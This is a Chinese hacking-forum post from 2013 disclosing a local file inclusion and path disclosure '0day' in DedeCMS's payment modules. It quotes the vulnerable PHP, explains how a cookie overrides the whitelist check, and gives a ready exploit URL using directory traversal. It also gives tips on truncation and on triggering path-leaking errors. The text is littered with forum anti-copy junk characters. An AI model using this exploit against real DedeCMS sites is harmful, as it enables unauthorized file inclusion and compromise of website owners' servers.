找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1991|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
# W5 K/ W! j+ U, f2 k  c. I
8 S. X1 ]1 X: {% k0 k1 K& N. Z出现漏洞的两个文件为:
1 D6 V8 D! I/ g! [* ?: Y9 q, ?Include/payment/alipay.php0 W" l5 n2 l( y( F2 ~* ]) u  ]
Include/payment/yeepay.php- Z/ ~1 q7 h' Z: L8 L
漏洞均出现在respond方法里,估计这两个文件是临时工写的。8 T$ ^8 R6 U" h( |: N

4 k2 ^& Q3 y6 l) E0 T9 M3 C, t. N' tInclude/payment/alipay.php
( g* F1 @+ Y/ d4 X+ y0 ?- w# O) }
- s) R+ r; t( {1 r# x" N+ o: Z! H, y......
& v6 [6 a% s2 |$ m7 B- Q   function respond()
- ~# O' \( m. N0 |; r    {$ b) ?% k# k6 R- Z7 y# M* }
        if (!empty($_POST))1 V: R2 t! h8 V3 e/ y, U
        {& n5 Z) c/ Q0 E, t# u; N' \; N% l
            foreach($_POST as $key => $data)
% z; l+ t2 K& b4 c            {
; q- @2 g9 O3 W0 q. n1 r, d( o( ?                $_GET[$key] = $data;" Y: X# u! z5 R" v( m
            }
% i2 X9 k, s- q- z( g        }
8 x8 R0 |; }% K9 k        /* 引入配置文件 */
$ g2 ?& q' ?0 A( g3 Z        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';2 D/ C4 D  b) H" K
...... 8 i) L. k" {0 T* H$ |
* U* ]; \' @! J( E9 m# Z

, _8 z9 M3 z0 h# n( S6 \* Y大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。& K% d( [& m* G1 W6 I6 F
0 |. s4 ?# @3 d$ D* x: H
Include/payment/yeepay.php
- h( z; \/ t' _$ w
" E" G5 ^9 f2 m9 Z" g8 q
, W5 y1 C( d6 `; c  B' n5 \- t
" n6 M- X4 o' h......
' t8 V% p+ _6 ]2 [" T    function respond()
1 L) G7 A. Y1 ?" b- _+ J    {
- U1 ~% U1 c8 |! h% d7 i3 ^" U 1 K' Q, r, U( D- h/ x$ [
        /* 引入配置文件 */0 a5 D; y7 f# z  q  X6 {4 }& n
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
) o4 P5 e- b! e
9 S. Z& ?4 o  g* p+ {# y        $p1_MerId = trim($payment['yp_account']);( \. z9 }' F9 \6 W  j, V+ Z
        $merchantKey = trim($payment['yp_key']);
0 @% ^; v9 k; N* H......
& M4 y. i+ S& q& P( O
' T2 a! v2 w0 h$ n* Z+ m/ o! K
& ?( f, {2 p$ w+ _2 L: y3 d
8 Y4 E% Z! z7 D* h* t% F  @  A3 Z2 {; h1 t) e$ d, r
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。; P( b& S. K  T

2 [# Y. m' m8 T- o4 M这两个方法在plus/carbuyaction.php文件调用。, l7 `4 I6 W' M3 U3 I! _

% y. u3 S+ P$ ~& }& A2 `plus/carbuyaction.php/ \& l6 ~) }! q! |- ]
5 i' M, O3 o- Y5 r5 c
......" G5 c; ?: k5 M5 E! r
} else if ($dopost == 'return') {
# Q! R6 J: }  Z0 V8 o6 D* \6 s2 x$ I    $write_list = array('alipay', 'bank', 'cod', 'yeepay');: k$ `5 q+ }8 r1 a
    if (in_array($code, $write_list))
: O! p! |- ]  l) J* V( N( _    {- |# x$ e7 f+ M" X% I+ \
        require_once DEDEINC.'/payment/'.$code.'.php';
# n; ^% W4 {4 H5 u        $pay = new $code;+ ]7 q) z' e$ n) x% G
        $msg=$pay->respond();. f% f3 Z7 H- J. ?6 n4 S3 s
        ShowMsg($msg, "javascript:;", 0, 3000);
: c" D. c" i( a        exit();  + `. k' D; f; z3 ~
    } else {; U, m: X- q6 X3 g  \- q, C
        exit('Error:File Type Can\'t Recognized!');1 G: \- `/ e; [3 @) P# d6 Z
    }
( W& A. u8 ?& z3 L, R: c* {2 O}
2 e$ n$ A. V. B......
* @9 b) b+ t  \+ ~, E% P0 X9 ` + `  s5 H. U, ?: @2 p' u) U# C( B
' u! y( G+ i$ k3 @

2 `, A+ U; S1 \) J1 Z) m) h3 v& s
: [# Z8 f3 z: K2 N" p, S# f
" x8 y- b7 W1 n$ e& @5 E% M& M3 c
) a0 b/ s3 i( ]  x* V6 F  A大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。- K7 X! S; W' r- l
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。+ V0 i- p6 n! Y8 a* j
" Y. K7 U; L: W5 F( i9 q9 O+ @
回到include/common.inc.php来看看他的机制。, V5 J! O$ c7 q2 y% z2 k! [) g

  W  M- Q9 b$ g0 M3 e6 L" Q   B1 C, s5 N1 e% }
  N! E% k$ a$ ]( V- \8 S
......2 G9 `& \; X6 L6 X* u
foreach(Array('_GET','_POST','_COOKIE') as $_request)! I% K* A( r2 C5 d) H2 w6 c+ E  P+ T
{* C4 c- @( K7 m
        foreach($$_request as $_k => $_v)
3 q, x; ^# O0 _8 Y- @: t        {, l; X( f* `9 t8 _
                if($_k == 'nvarname') ${$_k} = $_v;
7 t: g5 S0 Z4 ~# x/ J                else ${$_k} = _RunMagicQuotes($_v);
8 s8 m: I: x1 i        }
  M9 M& ]7 v- K3 K9 O}; e) X& A$ {& p' K8 a
......
/ \1 d$ d  e; \! t. E) |& y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
3 E: Z+ m! d- F( a: r由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表